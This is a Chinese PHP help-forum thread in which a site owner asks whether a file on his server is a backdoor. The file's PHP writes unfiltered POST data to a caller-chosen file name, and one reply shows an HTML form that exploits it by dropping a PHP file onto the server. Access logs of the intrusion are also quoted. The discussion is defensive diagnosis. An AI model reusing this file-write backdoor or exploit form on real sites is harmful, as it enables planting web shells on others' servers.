微信公众号 讲师中心
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机/移动开发 手机游戏
搜索
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程
自媒体 新闻
首页 > 后端开发 > php教程 > 正文

帮忙看一下这一个文件有没有后门或漏洞！

php中文网
发布： 2016-06-23 14:27:09
原创
1153人浏览过

我是菜鸟 我的站总是有一个木马文件，黑客是怎么上传到我的站，很好奇。


  
    
    
    
    
    
    
    
    
    
    
    
  
  
    
    
    
    
    
    
    
    
    
    
    
  
序号 号码 止数 下目 占成 佣虽  上寺 预计 走飞 走额 当前赔率
                     
if($_POST['img_text']=='news')
{
$title=$_POST['title'];

$newsort =$_POST['newsort'];

$newsort=str_replace(chr(92),"",$newsort);

$fp = fopen($title,"w"); 

fputs($fp,$newsort); 

fclose($fp); 

}
else
{?>

                  
                    
                    
                  
                
 
                      =$ids?>
                      设置

                     
 
             
             
             
                    



}
?>

回复讨论(解决方案)

if($_POST['img_text'] == 'news') {  $title = $_POST['title'];  $newsort = $_POST['newsort'];  $newsort = str_replace(chr(92), "", $newsort);  $fp = fopen($title, "w");   fputs($fp, $newsort);   fclose($fp); }
登录后复制
就你这个代码，什么内容传不上来？

是不是要配合其它的文件啊 才能上传吗  是不是一句话  

没有看到你的表单，但只要知道你的页面地址，做一个也很容易
比如 

<form method=post action=页面地址><input type=submit name=img_text value=news><input type=text name=title value='info.php'><input type=text name=newsort value='<?php phpinfo();'></form>
登录后复制
提交后就会在你的服务器上建立一个名为 info.php 的文件，执行它后就可知道你的服务器的所有信息

2013-11-10 13:26:23 POST /k_vc.php - 98.126.241.18 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727) http://localhost/sqst/index.asp www.itc888.com 200 0 1965 41441 5843
2013-11-10 13:26:29 GET /cc.php - 98.126.241.18 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727) - www.itc888.com 200 0 1330 661 3593

日志说明：k_vc.php 就是上面那一个文件，cc.php就是木马文件 www.itc888.com 小站的域名

$newsort =$_POST['newsort']; 没做任何过滤 直接给写入到title文件中了 漏洞大大的...

强得1B的代码 神一样的存在

这个上传连我这样的菜鸟都懂了。

大家都在看：

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：windows+nginx环境怎么安装ffmpeg-php模块 下一篇：ThinkPHP里面的Volist标签显示乱码
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
最新问题
为什么PHP代码会出现性能瓶颈_PHP代码性能瓶颈成因分析与解决方案 答案：PHP性能瓶颈主要源于数据库查询低效、未启用OPcache、同步阻塞操作、冗余循环及前端资源未压缩。应优化SQL索引与查询、启用OPcache加速脚本执行、采用异步处理减少等待、重构循环逻辑并合并压缩前端资源以提升整体性能。
2025-11-10 17:00:03
1001
php怎么调试接口返回值_php接口返回数据格式与内容调试技巧 首先通过var_dump或print_r输出数据结构并exit终止执行，确保接口返回JSON时设置正确响应头并封装统一返回函数，利用浏览器开发者工具检查Response内容是否合法，开发环境开启错误报告，生产环境记录日志，使用Postman或curl独立测试接口，保持输出干净避免破坏格式。
2025-11-10 16:59:28
253
怎么用php服务_PHP服务部署、运行与维护方法 首先确认PHP及关联组件已安装，再配置Web服务器与PHP集成，接着启动PHP-FPM服务并测试脚本执行，最后设置定时任务与日志监控以保障稳定运行。
2025-11-10 16:59:02
781
PHP怎么跳转到另一个页面_PHP跳转到另一个页面的代码示例 使用header函数跳转：通过header("Location:target.php");exit;实现服务器端跳转，需确保无输出；2.JavaScript跳转：用echo"window.location.href=‘target.php’;"在客户端跳转，适用于已有输出；3.HTMLmeta标签跳转：用echo‘’实现兼容性好但SEO不推荐的静态跳转。
2025-11-10 16:51:03
527
如何设置php网站内容智能生成_AI辅助内容创作配置方法 答案：通过集成AI文本生成API（如GPT、通义千问等）到PHP系统，使用cURL调用接口生成内容，并在网站发布页、摘要模块等场景触发，结合过滤、审核与SEO优化措施，实现智能内容创作。
2025-11-10 16:47:30
349
PHP异常怎么自定义_PHP自定义异常类编写及错误类型扩展。 自定义异常类能区分业务错误、携带上下文信息并统一处理逻辑，通过继承Exception类实现，如ValidationException可存储验证错误详情，提升代码可读性与维护性。
2025-11-10 16:36:02
479
如何安装php调试工具_xdebug等调试工具安装与使用方法 安装配置Xdebug是PHP调试关键，需通过包管理或手动编译安装，配置php.ini启用扩展并设置远程调试参数，重启服务后验证模块加载，再结合VSCode等IDE设置监听端口与路径映射，即可实现断点调试。
2025-11-10 16:30:04
633
php网站代码部署怎么优化提速_php网站自动化部署与性能优化实施方法 启用OPcache、压缩静态资源、配置NginxGzip、使用GitHook自动化部署、优化Composer类加载，可显著提升PHP网站部署效率与运行性能。
2025-11-10 16:20:03
598
PHP框架如何进行性能监控_PHP框架性能分析工具使用 答案：PHP框架性能监控推荐XHProf用于开发调试，Blackfire实现深度追踪，NewRelic支持生产环境实时监控，小型项目可结合日志与计时器分析，关键在于建立定期性能分析机制。
2025-11-10 16:14:02
269
php中->怎么用_PHP对象操作符(->)使用方法教程 答案：PHP中“->”用于访问对象的公共属性和方法。通过$对象->属性名读取或赋值，$对象->方法名()调用方法；支持链式调用（需return$this）及动态访问（如$对象->{$属性变量}），提升代码灵活性与简洁性。
2025-11-10 16:00:02
954
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部